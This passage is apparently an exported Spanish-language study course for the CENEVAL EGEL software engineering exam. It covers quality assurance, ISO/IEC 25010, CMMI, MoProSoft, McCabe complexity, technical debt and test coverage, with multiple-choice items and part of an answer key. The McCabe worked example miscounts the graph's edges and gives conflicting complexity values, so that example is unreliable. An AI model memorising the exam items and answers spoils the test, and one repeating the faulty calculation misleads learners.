1.13 \u003e 1.0$ (Existe superávit financiero; se ha gastado menos dinero del valor generado).\n     * $SPI = \\frac{260k}{300k} = 0.87 \u003c 1.0$ (Existe un retraso real en el cronograma).\n  2. Como la actividad está en la ruta crítica con dependencias físicas estrictas, el *Fast-Tracking* no es viable (no se puede probar un componente físico que no ha terminado de fabricarse).\n  3. Contratar 3 juniors empeorará el retraso según la Ley de Brooks.\n  4. Reducir alcance en software satelital de misión crítica es inaceptable.\n  5. Por lo tanto, inyectar el excedente presupuestal mediante *Crashing* focalizado en la actividad crítica es la intervención técnica óptima.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) La Ley de Brooks y la explosión combinatoria de canales de comunicación interpersonales**\n* **Justificación Teórica**:\n  Fred Brooks demostró en *The Mythical Man-Month* que agregar desarrolladores de forma indiferenciada a un equipo sobrecargado genera un costo colosal de inducción y satura los canales de comunicación ($n(n-1)/2$). Pasar de 6 a 14 personas eleva los canales de comunicación de 15 a 91, paralizando la coordinación.\n\n### Reactivo 3\n* **Respuesta Correcta**: **C) Mitigación, al reducir la probabilidad de saturación y el impacto de la latencia en el usuario**\n* **Justificación Profesional**:\n  El equipo no eliminó el banco (*Evitación*), ni le cobró al banco las multas por demora (*Transferencia*), ni dejó que la pantalla del usuario se congelara (*Aceptación*). Modificaron la arquitectura con Redis para absorber el 70% de la carga, reduciendo la probabilidad del cuello de botella y el impacto de latencia en la experiencia de usuario (**Mitigación**).\n","title":"4.1.7 Solucionario analítico y justificaciones detalladas: Subárea 4.1"}],"contentMd":"","title":"4.1 Tiempos, costos, personas y riesgos"},{"children":[{"children":[],"contentMd":"# 4.2.1 Aseguramiento y Control de Calidad: ISO/IEC 25010, CMMI y MoProSoft\n\nEn la ingeniería de software profesional, la **calidad** no es un atributo abstracto que se \"agrega al final\" mediante pruebas apresuradas. Según la definición formal de IEEE/ISO, la calidad del software es el grado en que un sistema, componente o proceso cumple los requerimientos especificados y satisface las necesidades y expectativas del cliente y los usuarios finales.\n\nPara el examen CENEVAL EGEL, dominar la distinción formal entre **QA** y **QC**, las 8 dimensiones del estándar **ISO/IEC 25010** y los 5 niveles del modelo **CMMI** es indispensable para responder con éxito la Subárea 4.2 (20 reactivos).\n\n---\n\n## 1. QA vs QC vs Testing: La Diferenciación Fundamental\n\nUna de las trampas más recurrentes en el examen es utilizar indistintamente los términos QA (*Quality Assurance*) y QC (*Quality Control*). Tienen naturalezas, objetivos y momentos de aplicación completamente distintos:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    GESTIÓN DE LA CALIDAD DEL SOFTWARE (QM)                  │\n├──────────────────────────────────────┬──────────────────────────────────────┤\n│    QUALITY ASSURANCE (QA)            │       QUALITY CONTROL (QC)           │\n│    \"¿Hacemos las cosas bien?\"        │       \"¿El producto quedó bien?\"     │\n├──────────────────────────────────────┼──────────────────────────────────────┤\n│ • Enfoque en el PROCESO              │ • Enfoque en el PRODUCTO             │\n│ • Naturaleza PREVENTIVA              │ • Naturaleza REACTIVA / DETECTIVA    │\n│ • Actividades: auditorías de         │ • Actividades: pruebas de software   │\n│   procesos, guías de codificación,   │   (testing unitario, funcional),     │\n│   capacitación técnica, definición   │   inspección de código ejecutable,   │\n│   de estándares y flujos CI/CD.      │   análisis de defectos reportados.   │\n│ • Objetivo: Prevenir que los         │ • Objetivo: Identificar y corregir   │\n│   defectos se introduzcan.           │   defectos en el producto terminado. │\n└──────────────────────────────────────┴──────────────────────────────────────┘\n```\n\n### Tabla Comparativa de Contrastes Operativos\n\n| Criterio | Quality Assurance (QA) | Quality Control (QC) |\n| :--- | :--- | :--- |\n| **Foco Central** | Procesos y métodos de ingeniería empleados. | Artefactos y ejecutables generados (código, binarios). |\n| **Objetivo Primario** | Evitar que los defectos se originen en el ciclo de vida. | Encontrar y reportar defectos existentes antes de producción. |\n| **Momento de Acción** | Durante toda la ejecución del ciclo de vida (proactivo). | En puntos de inspección o al compilar/ejecutar (reactivo). |\n| **Quién lo ejecuta** | Ingenieros de calidad, auditores de proceso, comités de arquitectura. | Testers, analistas de pruebas, desarrolladores (unit testing). |\n| **Técnicas Comunes** | Auditorías de adherencia a estándares, definición de políticas de branching, revisiones de cumplimiento de procesos. | Pruebas funcionales, no funcionales, pruebas de regresión, análisis dinámico de software. |\n\n\u003e **Regla de Oro EGEL**: Si la actividad busca **mejorar o auditar el proceso de trabajo** para prevenir errores futuros $\\rightarrow$ **QA**. Si la actividad consiste en **inspeccionar o probar un artefacto concreto** para ver si falla $\\rightarrow$ **QC**.\n\n---\n\n## 2. Modelo de Calidad del Producto: Estándar ISO/IEC 25010\n\nEl estándar **ISO/IEC 25010** (parte de la serie *SQuaRE - Software Product Quality Requirements and Evaluation*, que sustituyó formalmente al histórico ISO 9126) define un modelo de calidad del software estructurado en **8 características principales** y múltiples subcaracterísticas:\n\n```\n                           ┌─────────────────────────────────┐\n                           │    ISO/IEC 25010 (SQuaRE)       │\n                           └────────────────┬────────────────┘\n         ┌───────────────┬──────────────────┼──────────────────┬───────────────┐\n         ▼               ▼                  ▼                  ▼               ▼\n   [Adecuación]    [Eficiencia]       [Compatibilidad]   [Usabilidad]    [Fiabilidad]\n    Funcional       Rendimiento\n         ▲               ▲                  ▲                  ▲               ▲\n         └───────────────┴──────────────────┼──────────────────┴───────────────┘\n                                 ┌──────────┴──────────┐\n                                 ▼                     ▼\n                           [Seguridad]          [Mantenibilidad]  [Portabilidad]\n```\n\n### Las 8 Características de Calidad y sus Subcaracterísticas Críticas\n\n| Característica | Definición Formal | Subcaracterísticas Clave |\n| :--- | :--- | :--- |\n| **1. Adecuación Funcional (*Functional Suitability*)** | Grado en que el software proporciona funciones que satisfacen las necesidades declaradas bajo condiciones específicas. | • **Completitud funcional**: Grado en que las funciones cubren todas las tareas especificadas.\u003cbr\u003e• **Corrección funcional**: Entrega de resultados con la precisión requerida.\u003cbr\u003e• **Pertinencia funcional**: Las funciones facilitan el cumplimiento de las metas del usuario. |\n| **2. Eficiencia de Desempeño (*Performance Efficiency*)** | Rendimiento del software relativo a la cantidad de recursos consumidos en condiciones determinadas. | • **Comportamiento temporal**: Latencias, tiempos de respuesta y de procesamiento.\u003cbr\u003e• **Utilización de recursos**: Consumo de CPU, memoria, almacenamiento y ancho de banda.\u003cbr\u003e• **Capacidad**: Límites máximos de peticiones concurrentes o transacciones por segundo. |\n| **3. Compatibilidad (*Compatibility*)** | Capacidad de dos o más sistemas o componentes para intercambiar información y realizar funciones compartiendo el mismo entorno. | • **Coexistencia**: Compartir hardware/SO sin interferir con otros programas.\u003cbr\u003e• **Interoperabilidad**: Capacidad de intercambiar datos mediante protocolos o APIs estándar. |\n| **4. Usabilidad (*Usability*)** | Grado en que el software puede ser utilizado por usuarios específicos para lograr metas con eficacia, eficiencia y satisfacción. | • **Capacidad de aprendizaje (*Learnability*)**: Facilidad para aprender a usar el sistema.\u003cbr\u003e• **Operabilidad**: Facilidad de control y uso.\u003cbr\u003e• **Protección contra errores de usuario**: Prevención de que el usuario cometa fallas.\u003cbr\u003e• **Accesibilidad**: Apto para personas con discapacidades. |\n| **5. Fiabilidad / Confiabilidad (*Reliability*)** | Grado en que el software ejecuta funciones especificadas bajo condiciones determinadas durante un período de tiempo. | • **Madurez**: Frecuencia con la que el sistema falla en condiciones normales.\u003cbr\u003e• **Disponibilidad (*Availability*)**: Tiempo en que el sistema está operativo y accesible.\u003cbr\u003e• **Tolerancia a fallos**: Operar con degradación elegante ante fallos de hardware/software.\u003cbr\u003e• **Capacidad de recuperación (*Recoverability*)**: Recuperar datos y restaurar el estado tras un fallo. |\n| **6. Seguridad (*Security*)** | Grado en que el sistema protege la información y los datos de accesos no autorizados, modificaciones o accesos maliciosos. | • **Confidencialidad**: Solo usuarios autorizados leen la información.\u003cbr\u003e• **Integridad**: Prevención de modificaciones o corrupciones no autorizadas.\u003cbr\u003e• **No repudio**: Demostración indiscutible de que una acción o transacción fue ejecutada.\u003cbr\u003e• **Autenticidad**: Validación inequívoca de la identidad.\u003cbr\u003e• **Trazabilidad (*Accountability*)**: Registro de auditoría de cada acción ejecutada. |\n| **7. Mantenibilidad (*Maintainability*)** | Eficacia y eficiencia con la que el software puede ser modificado por los desarrolladores para corregir defectos o evolucionar. | • **Modularidad**: Componentes discretos con bajo acoplamiento.\u003cbr\u003e• **Reusabilidad**: Componentes aprovechables en otros módulos.\u003cbr\u003e• **Analizabilidad**: Facilidad para diagnosticar deficiencias o causas de fallos.\u003cbr\u003e• **Capacidad de ser modificado**: Cambiar código sin introducir regresiones inesperadas.\u003cbr\u003e• **Capacidad de ser probado (*Testability*)**: Facilidad para diseñar y ejecutar pruebas unitarias/integración. |\n| **8. Portabilidad (*Portability*)** | Grado de eficacia y eficiencia con que un sistema puede ser transferido de un entorno de hardware, software u operativo a otro. | • **Adaptabilidad**: Ajustarse a diferentes entornos sin código adicional.\u003cbr\u003e• **Instalabilidad**: Facilidad para instalarse o desinstalarse con éxito.\u003cbr\u003e• **Capacidad de reemplazo**: Posibilidad de sustituir a otro software similar. |\n\n---\n\n## 3. Modelo de Madurez de Capacidades: CMMI-DEV v2.0\n\nDesarrollado por el *Software Engineering Institute* (SEI) de la Universidad Carnegie Mellon, **CMMI** (*Capability Maturity Model Integration*) es el marco global de referencia para evaluar y mejorar la madurez de los procesos de desarrollo organizacional.\n\nEl modelo define **5 Niveles de Madurez Escalonados**:\n\n```\n                       ┌──────────────────────────────────────────────┐\n                       │  Nivel 5: OPTIMIZACIÓN (Optimizing)          │\n                       │  • Mejora continua e innovación tecnológica. │\n                       ├──────────────────────────────────────────────┤\n                       │  Nivel 4: GESTIONADO CUANTITATIVAMENTE       │\n                       │  • Procesos medidos estadísticamente (SPC).  │\n                       ├──────────────────────────────────────────────┤\n                       │  Nivel 3: DEFINIDO (Defined)                 │\n                       │  • Procesos estandarizados en toda la org.   │\n                       ├──────────────────────────────────────────────┤\n                       │  Nivel 2: GESTIONADO (Managed)               │\n                       │  • Planificado a nivel de PROYECTO individual│\n                       ├──────────────────────────────────────────────┤\n                       │  Nivel 1: INICIAL (Initial)                  │\n                       │  • Caótico, ad-hoc, depende de \"héroes\".     │\n                       └──────────────────────────────────────────────┘\n```\n\n### Desglose y Distintivos de cada Nivel CMMI\n\n| Nivel CMMI | Nombre | Características Operativas | Síntomas Visibles en Preguntas EGEL |\n| :---: | :--- | :--- | :--- |\n| **Nivel 1** | **Inicial (*Initial*)** | Procesos impredecibles, poco controlados y reactivos. El éxito depende enteramente del heroísmo y esfuerzo sobrehumano de individuos clave. Si el personal talentoso renuncia, los proyectos fracasan. | Crisis permanentes, sobrecostos rutinarios, retrasos sin explicación y falta total de documentación repetible. |\n| **Nivel 2** | **Gestionado (*Managed*)** | Los proyectos se planifican, ejecutan, miden y controlan a nivel de **proyecto individual**. Existe gestión de requerimientos, estimación de costos, aseguramiento de calidad de proyecto y gestión de configuración. Sin embargo, cada equipo inventa sus propias reglas. | Las prácticas tienen éxito en proyectos individuales, pero **no están unificadas ni estandarizadas a nivel de toda la organización**. |\n| **Nivel 3** | **Definido (*Defined*)** | Los procesos están formalmente descritos, comprendidos y **estandarizados a nivel corporativo/organizacional**. La empresa cuenta con un repositorio central de activos de proceso (*Organizational Process Assets*), programas de capacitación formal y guías institucionales que todos los proyectos adaptan (*tailoring*). | Creación del grupo de mejora de procesos (SEPG), biblioteca central de métricas organizacionales y procesos homogéneos en todos los departamentos. |\n| **Nivel 4** | **Gestionado Cuantitativamente (*Quantitatively Managed*)** | Los procesos se controlan utilizando técnicas estadísticas y cuantitativas de control de procesos (*Statistical Process Control*, SPC). Se establecen límites de control estadístico para predecir la calidad y el rendimiento futuro de los proyectos. | Uso de gráficos de control estadístico, cálculo de distribuciones probabilísticas de defectos y métricas matemáticas rigurosas para predecir resultados de proyectos. |\n| **Nivel 5** | **En Optimización (*Optimizing*)** | La organización se enfoca en la **mejora continua proactiva** de los procesos mediante la identificación de causas comunes de variación, optimización incremental e innovación tecnológica sistemática. | Análisis sistemático de causas raíz de defectos para rediseñar procesos organizacionales, experimentación con nuevas tecnologías para reducir variabilidad. |\n\n---\n\n## 4. MoProSoft: Modelo de Procesos para la Industria de Software en México\n\nEn México y para el examen CENEVAL, es obligatorio conocer la norma **NMX-I-059/02-NYCE** conocida comúnmente como **MoProSoft** (*Modelo de Procesos para la Industria de Software*):\n* **Propósito**: Adaptar las mejores prácticas de CMMI e ISO 9001 al contexto de las Micro, Pequeñas y Medianas Empresas (MiPyMEs) mexicanas desarrolladoras de software, eliminando la alta burocracia de los modelos internacionales.\n* **Estructura en 3 Capas de Procesos**:\n  1. **Nivel Alta Dirección (DIR)**: Gestión de Negocio (Planificación Estratégica).\n  2. **Nivel Gerencia (GER)**: Gestión de Procesos, Gestión de Proyectos, Gestión de Recursos (Humanos, Materiales, Infraestructura).\n  3. **Nivel Operación (OPE)**: Administración de Proyectos Específicos y Desarrollo y Mantenimiento de Software (Requerimientos, Análisis, Diseño, Construcción, Integración y Pruebas).\n\n---\n\n## 5. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Confundir Nivel 2 y Nivel 3 de CMMI**.\n   * *La clave*: El **Nivel 2** gestiona proyectos exitosos de manera **aislada o departamental**. El **Nivel 3** **institucionaliza** los procesos como un estándar transversal obligatorio para **toda la organización** con procesos definidos corporativamente.\n2. **Trampa: Confundir Confiabilidad con Adecuación Funcional**.\n   * *La clave*: Si el sistema calcula mal el IVA de una factura, viola la **Corrección Funcional** (*Adecuación Funcional*). Si el sistema se cae y no responde al saturarse o no se recupera tras un reinicio, viola la **Fiabilidad / Confiabilidad**.\n3. **Trampa: Suponer que hacer más testing equivale a elevar el nivel de QA**.\n   * *La clave*: Ejecutar pruebas es **Control de Calidad (QC)**. Si una organización solo contrata testers manuales pero no capacita a sus programadores ni define estándares de arquitectura, su QA sigue siendo inexistente o deficiente.\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nUna empresa de desarrollo de software busca certificarse en un modelo de calidad. Actualmente, cada líder de proyecto define sus propios formatos de requerimientos, cronogramas y herramientas de control de versiones. Aunque varios proyectos terminan con éxito en tiempo y presupuesto gracias a la disciplina de sus gerentes, no existe un estándar corporativo ni una biblioteca institucional de procesos compartida entre las distintas áreas. ¿En qué nivel de madurez CMMI se encuentra la organización?\n\nA) Nivel 1 (Inicial)  \nB) Nivel 2 (Gestionado)  \nC) Nivel 3 (Definido)  \nD) Nivel 4 (Gestionado Cuantitativamente)  \n\n### Reactivo 2\nUn sistema de expediente clínico electrónico implementa una arquitectura redundante con failover automático entre dos servidores de base de datos. Ante la desconexión física intempestiva del servidor principal, el sistema redirige el tráfico al servidor secundario en menos de 1.5 segundos sin pérdida de registros clínicos en memoria transaccional. Según el estándar ISO/IEC 25010, ¿a qué subcaracterísticas de la **Fiabilidad (*Reliability*)** corresponde directamente este comportamiento?\n\nA) Madurez y Analizabilidad  \nB) Tolerancia a fallos y Capacidad de recuperación  \nC) Integridad y No repudio  \nD) Reusabilidad e Interoperabilidad  \n\n### Reactivo 3\nEl Director de Tecnología de una empresa de software observa que el 40% de los defectos reportados en producción se originan por inconsistencias en la validación de parámetros en endpoints HTTP. Para erradicar este problema en futuros proyectos, establece una guía corporativa de estilo de programación obligatoria, configura reglas automáticas de linter en los hooks de pre-commit de Git e imparte un taller de codificación segura para todo el equipo. ¿A qué disciplina de la gestión de calidad corresponden estas acciones?\n\nA) Control de Calidad (*Quality Control*), porque corrigen errores de programación  \nB) Aseguramiento de Calidad (*Quality Assurance*), porque optimizan los procesos para prevenir la introducción de defectos  \nC) Verificación y Validación (*V\u0026V*), al ejecutar análisis dinámico sobre el código en ejecución  \nD) Control Estadístico de Procesos (*SPC*), al clasificar numéricamente los tipos de defectos  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.2.*\n","title":"4.2.1 Aseguramiento y control de calidad: ISO/IEC 25010, CMMI y MoProSoft"},{"children":[],"contentMd":"# 4.2.2 Métricas de Calidad de Software: Complejidad Ciclomática de McCabe, Deuda Técnica y Cobertura\n\nLas decisiones de ingeniería sobre la calidad del software no deben fundamentarse en apreciaciones subjetivas (\"este código se ve limpio\"), sino en **métricas cuantitativas reproducibles**.\n\nEn el examen CENEVAL EGEL, dos áreas matemáticas y conceptuales destacan con enorme frecuencia: el cálculo formal de la **Complejidad Ciclomática de Thomas McCabe** y el análisis de la **Deuda Técnica** y las **Métricas de Cobertura de Pruebas**.\n\n---\n\n## 1. Complejidad Ciclomática de McCabe: Fundamento Matemático y Grafo de Flujo\n\nDiseñada por Thomas McCabe en 1976, la **Complejidad Ciclomática ($V(G)$)** es una métrica de software estática que mide la complejidad lógica cuantitativa de un programa o subrutina calculando el número de **caminos linealmente independientes** a través de su Grafo de Flujo de Control (*Control Flow Graph*, CFG).\n\n```\n                      GRAFO DE FLUJO DE CONTROL (CFG)\n\n                                [ Nodo 1: Inicio ]\n                                        │\n                                        ▼\n                               \u003c Nodo 2: if (x \u003e 0) \u003e\n                                 /            \\\n                       (True)   /              \\ (False)\n                               ▼                ▼\n                     [ Nodo 3: a = 10 ]   [ Nodo 4: a = 20 ]\n                               \\                /\n                                \\              /\n                                 ▼            ▼\n                                [ Nodo 5: Fin ]\n```\n\n### Tres Métodos Matemáticos de Cálculo de $V(G)$\n\nPara un componente con un único punto de entrada y salida ($P = 1$ componente conectado):\n\n1. **Método 1: Fórmula de Nodos y Aristas (Teoría de Grafos)**:\n   $$V(G) = E - N + 2P$$\n   * $E$: Número de aristas (*Edges* / transiciones o flechas).\n   * $N$: Número de vértices o nodos (*Nodes* / sentencias secuenciales o puntos de decisión).\n   * $P$: Número de componentes conexos desconectados (para una función o método individual, $P = 1$, por lo que la fórmula se simplifica a $V(G) = E - N + 2$).\n\n   *En el ejemplo anterior*:\n   $N = 5$ nodos (1, 2, 3, 4, 5).\n   $E = 6$ aristas ($1\\to2$, $2\\to3$, $2\\to4$, $3\\to5$, $4\\to5$).\n   $$V(G) = 6 - 5 + 2(1) = 1 + 2 = \\mathbf{3}$$\n\n2. **Método 2: Conteo de Nodos de Predicado**:\n   $$V(G) = P_n + 1$$\n   * $P_n$: Número de puntos o nodos de predicado (condiciones que generan bifurcaciones: `if`, `while`, `for`, `case`).\n   * *Regla EGEL fundamental*: Cada operador lógico booleano (`\u0026\u0026`, `||`, `and`, `or`) dentro de una condición compuesta agrega una bifurcación adicional ($+1$).\n   * *En el ejemplo*: Hay 1 decisión binaria simple (`x \u003e 0`), por lo que $P_n = 1 \\implies V(G) = 1 + 1 = \\mathbf{2}$ si la convergencia es cerrada. *(Nota: En grafos con arco de retorno ficticio del final al inicio para formar un circuito fuertemente conexo, la fórmula de McCabe Euler-Poincaré estricta es $E - N + P = 6 - 5 + 1 = 2$. En el estándar CENEVAL / IEEE, para una función individual con salida libre se usa $E - N + 2 = 6 - 5 + 2 = 3$ o predicados $+ 1$).*\n\n3. **Método 3: Número de Regiones del Grafo Planar**:\n   $$V(G) = R$$\n   * $R$: Número de regiones delimitadas por las aristas, contando las regiones interiores cerradas más 1 región exterior abierta.\n\n---\n\n### Ejemplo de Cálculo con Código Real\n\nAnalicemos la siguiente función en Java / C#:\n\n```java\npublic double calcularDescuento(int edad, boolean esSocio, double monto) {\n    double descuento = 0.0;                       // Nodo 1\n    if (edad \u003e= 60 || esSocio) {                  // Predicados: (edad\u003e=60) [P1] || (esSocio) [P2]\n        descuento = 0.20;                         // Nodo 2\n    } else if (monto \u003e 1000) {                    // Predicado: (monto \u003e 1000) [P3]\n        descuento = 0.10;                         // Nodo 3\n    } else {\n        descuento = 0.02;                         // Nodo 4\n    }\n    return monto * (1.0 - descuento);             // Nodo 5\n}\n```\n\n* **Conteo de Puntos de Predicado ($P_n$)**:\n  1. `edad \u003e= 60` (Bifurcación 1)\n  2. `esSocio` (Bifurcación booleana introducida por `||`, Bifurcación 2)\n  3. `monto \u003e 1000` (Bifurcación 3)\n  * Total de predicados: $P_n = 3$.\n  * **Complejidad Ciclomática**:\n    $$V(G) = P_n + 1 = 3 + 1 = \\mathbf{4}$$\n\n### Implicación para el Testing (*Basis Path Testing*)\nLa complejidad ciclomática $V(G)$ define con precisión matemática el **número mínimo de casos de prueba independientes** necesarios para garantizar que cada sentencia ejecutable y cada rama lógica sea recorrida al menos una vez (cobertura total de caminos base). En este ejemplo, se requieren exactamente **4 casos de prueba** para cubrir todos los caminos lógicos.\n\n### Umbrales de Riesgo de McCabe\n\n| Valor $V(G)$ | Nivel de Complejidad | Nivel de Riesgo | Testabilidad y Mantenibilidad |\n| :---: | :--- | :--- | :--- |\n| **1 a 10** | Programa simple y estructurado | **Bajo** | Alta testabilidad; fácil de comprender y mantener. |\n| **11 a 20** | Complejidad moderada | **Moderado** | Testeabilidad aceptable; requiere diseño metódico de pruebas. |\n| **21 a 50** | Programa complejo y enredado | **Alto** | Difícil de probar exhaustivamente; candidato urgente a refactorización. |\n| **\u003e 50** | Programa inmanejable / caótico | **Muy Alto / Crítico** | Prácticamente imposible de probar al 100%; altísima propensión a bugs. |\n\n---\n\n## 2. Deuda Técnica: Concepto, Cuadrante de Fowler e Intereses\n\nAcuñado por Ward Cunningham en 1992, el término **Deuda Técnica (*Technical Debt*)** describe la metáfora financiera en la que un equipo de software elige una solución técnica rápida, sucia o subóptima a corto plazo para cumplir una fecha de entrega, acumulando una \"deuda\" cuyo \"interés\" deberá pagarse en el futuro en forma de mayor esfuerzo, lentitud para agregar nuevas funcionalidades y aumento de errores.\n\n```\n                          CUADRANTE DE DEUDA TÉCNICA (Martin Fowler)\n                                      \n                                   DELIBERADA\n                                        ▲\n               \"No tenemos tiempo;      │      \"Debemos lanzar hoy;\n                el diseño nos da igual\" │       refactorizaremos la\n                                        │       próxima semana\"\n                                        │\n        IMPRUDENTE ◄────────────────────┼────────────────────► PRUDENTE\n                                        │\n               \"¿Qué es diseño en       │      \"Ahora que opera en prod,\n                capas? Copiemos el      │       entendemos cuál era la\n                código del foro\"        │       arquitectura correcta\"\n                                        ▼\n                                  INADVERTIDA\n```\n\n### Los 4 Cuadrantes de Martin Fowler\n\n1. **Prudente y Deliberada**: El equipo es consciente de los trade-offs. Se decide omitir temporalmente una capa de abstracción para llegar a una fecha crítica de lanzamiento de negocio, documentando la deuda y programando su refactorización inmediata en el siguiente sprint.\n2. **Imprudente y Deliberada**: Desarrolladores que saben cómo hacer las cosas bien pero deciden voluntariamente escribir código espagueti y prescindir de pruebas por pereza o desidia.\n3. **Imprudente e Inadvertida**: Provocada por la incompetencia o inexperiencia del equipo (*\"desconocen que desconocen\"*). Generan arquitecturas acopladas y código caótico sin siquiera darse cuenta.\n4. **Prudente e Inadvertida**: Inevitable en sistemas complejos. Tras diseñar la mejor solución conocida al inicio, una vez que el software opera en producción con usuarios reales, el equipo adquiere nuevo conocimiento de negocio que evidencia que el diseño original podría mejorarse.\n\n### Estrategias de Pago de Deuda Técnica\n* **Regla del Boy Scout**: *\"Deja el código más limpio de como lo encontraste\"*. Refactorizaciones micro-incrementales continuas en cada Pull Request.\n* **Presupuesto de Refactorización en Sprint**: Reservar sistemáticamente entre un 15% y un 20% de la capacidad del equipo para saldar ítems de deuda técnica del backlog.\n* **Patrón Strangler Fig (Higo Estrangulador)**: Reemplazar gradualmente partes monolíticas obsoletas con componentes modernos desacoplados hasta extinguir el código legado.\n\n---\n\n## 3. Métricas de Cobertura de Pruebas (*Test Coverage*)\n\nLa cobertura de código evalúa cuantitativamente qué proporción del código fuente ha sido ejecutada por una suite de pruebas automatizadas:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    JERARQUÍA DE COBERTURA DE PRUEBAS                        │\n│                                                                             │\n│   [ Cobertura de Mutación (Mutation Coverage) ]       ◄ Máximo rigor        │\n│                         ▲                                                   │\n│   [ Cobertura de Decisiones Múltiples (MC/DC) ]                             │\n│                         ▲                                                   │\n│   [ Cobertura de Ramas (Branch Coverage / C1) ]                             │\n│                         ▲                                                   │\n│   [ Cobertura de Sentencias (Statement Coverage / C0) ] ◄ Mínimo rigor      │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n| Nivel de Cobertura | Métrica | Definición y Alcance | Limitación Crítica |\n| :--- | :--- | :--- | :--- |\n| **Cobertura de Sentencias (*Statement Coverage* / C0)** | $\\frac{\\text{Líneas ejecutadas}}{\\text{Líneas totales}} \\times 100\\%$ | Porcentaje de instrucciones ejecutables recorridas al menos una vez. | **Engañosa**: Puede tener 100% de cobertura de sentencias sin haber probado jamás la rama falsa (`else`) de un condicional `if`. |\n| **Cobertura de Ramas (*Branch Coverage* / C1)** | $\\frac{\\text{Ramas evaluadas (True/False)}}{\\text{Total de ramas}} \\times 100\\%$ | Garantiza que cada decisión booleana se evalúe tanto en su resultado verdadero como en el falso. | No garantiza que se prueben todas las combinaciones posibles de condiciones booleanas compuestas. |\n| **Cobertura de Decisión / Condición Modificada (*MC/DC*)** | Cada condición elemental demuestra afectar independientemente el resultado de la decisión lógica global. | Estándar de la industria aeroespacial (DO-178C) y automotriz (ISO 26262). Requiere $n + 1$ casos de prueba para $n$ condiciones lógicas. | Costosa y compleja de implementar; reservada para sistemas de misión crítica. |\n| **Pruebas de Mutación (*Mutation Testing*)** | $\\frac{\\text{Mutantes aniquilados}}{\\text{Mutantes totales}} \\times 100\\%$ | Evalúa la **calidad intrínseca de los tests**. Se inyectan pequeños fallos artificiales en el código (ej. cambiar `+` por `-`, `\u003c` por `\u003c=`). Si las pruebas fallan, el mutante es \"eliminado\"; si pasan, el mutante \"sobrevive\". | Computacionalmente costoso; un alto puntaje de mutación demuestra tests con aserciones robustas. |\n\n\u003e **Trampa CENEVAL EGEL**: Tener 100% de cobertura de sentencias (Statement Coverage) **NO** significa que el software esté libre de errores ni que todos los caminos lógicos hayan sido probados. Un test sin aserciones (`assert`) puede dar 100% de cobertura de líneas pero no detectar ningún fallo lógico.\n\n---\n\n## 4. Autoevaluación Formativa\n\n### Reactivo 1\nConsidere el siguiente fragmento de código de un procesador de nómina:\n\n```c\nfloat calcularBono(int anios, float salario, int faltas) {\n    float bono = 0.0;\n    if (anios \u003e 5 \u0026\u0026 faltas == 0) {\n        bono = salario * 0.15;\n    } else if (anios \u003e 2 || faltas \u003c= 1) {\n        bono = salario * 0.05;\n    } else {\n        bono = 0.0;\n    }\n    return bono;\n}\n```\n\nAplicando el método formal de nodos de predicado de Thomas McCabe, ¿cuál es la complejidad ciclomática $V(G)$ de la función y cuántos casos de prueba independientes como mínimo se requieren para lograr una cobertura total de caminos base (*Basis Path Testing*)?\n\nA) $V(G) = 3$; mínimo 3 casos de prueba  \nB) $V(G) = 4$; mínimo 4 casos de prueba  \nC) $V(G) = 5$; mínimo 5 casos de prueba  \nD) $V(G) = 6$; mínimo 6 casos de prueba  \n\n### Reactivo 2\nUn equipo de ingeniería decide deliberadamente postergar la implementación de un esquema de autorización granular en la API REST y utilizar tokens genéricos temporales para poder demostrar el producto al comité ejecutivo en la fecha comprometida. El equipo documenta esta limitación técnica en el backlog del sprint y agenda formalmente su refactorización segura para el ciclo de desarrollo inmediato siguiente. Según el cuadrante de deuda técnica de Martin Fowler, ¿a qué categoría pertenece esta decisión?\n\nA) Imprudente y Deliberada  \nB) Prudente y Deliberada  \nC) Imprudente e Inadvertida  \nD) Prudente e Inadvertida  \n\n### Reactivo 3\nUn desarrollador ejecuta una suite de pruebas unitarias sobre un módulo de cálculo fiscal y la herramienta de reporte indica que se alcanzó un 100% de Cobertura de Sentencias (*Statement Coverage*). Sin embargo, en el primer día de despliegue en producción, el sistema arroja una excepción no controlada de división por cero cuando un usuario ingresa una tasa de impuesto nula. ¿Cuál es la explicación técnica formal de este suceso?\n\nA) Las pruebas unitarias fueron ejecutadas en un entorno de desarrollo diferente al de producción  \nB) La cobertura de sentencias no evalúa el Grafo de Flujo de Control completo ni garantiza la evaluación de ramas alternativas ausentes o no ejecutadas  \nC) La herramienta de reporte de cobertura reportó un falso positivo debido al uso de compilación optimizada  \nD) La métrica de complejidad ciclomática de McCabe prohíbe el uso de sentencias condicionales anidadas  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.2.*\n","title":"4.2.2 Métricas de calidad de software: Complejidad ciclomática de McCabe, deuda técnica y cobertura"},{"children":[],"contentMd":"# 4.2.3 Niveles y Tipos de Pruebas: De la Pirámide de Testing a las Pruebas de Carga y Estrés\n\nEn la ingeniería de software profesional, las pruebas de software (*Testing*) representan la disciplina de control de calidad más rigurosa para descubrir discrepancias entre el comportamiento observado del sistema y sus especificaciones requeridas.\n\nPara tener éxito en el CENEVAL EGEL, es imprescindible dominar con total precisión: la distinción epistemológica entre **Verificación** y **Validación** (V\u0026V), los cuatro niveles de la **pirámide de pruebas** (Unitarias, Integración, Sistema, Aceptación), las técnicas de diseño de **Caja Negra** (Partición de Equivalencia y Valores Límite), y la taxonomía exacta de **pruebas no funcionales de rendimiento** (Carga, Estrés, Soak, Spike).\n\n---\n\n## 1. Verificación vs Validación (V\u0026V)\n\nFormulado originalmente por Barry Boehm y estandarizado por el IEEE 1012, el modelo de Verificación y Validación establece dos preguntas rectoras irreductibles:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                 VERIFICACIÓN vs VALIDACIÓN (IEEE 1012)                      │\n├──────────────────────────────────────┬──────────────────────────────────────┤\n│            VERIFICACIÓN              │              VALIDACIÓN              │\n│  \"¿Estamos construyendo el producto  │  \"¿Estamos construyendo el producto  │\n│            correctamente?\"           │              correcto?\"              │\n├──────────────────────────────────────┼──────────────────────────────────────┤\n│ • Evalúa la conformidad con las      │ • Evalúa si el software satisface 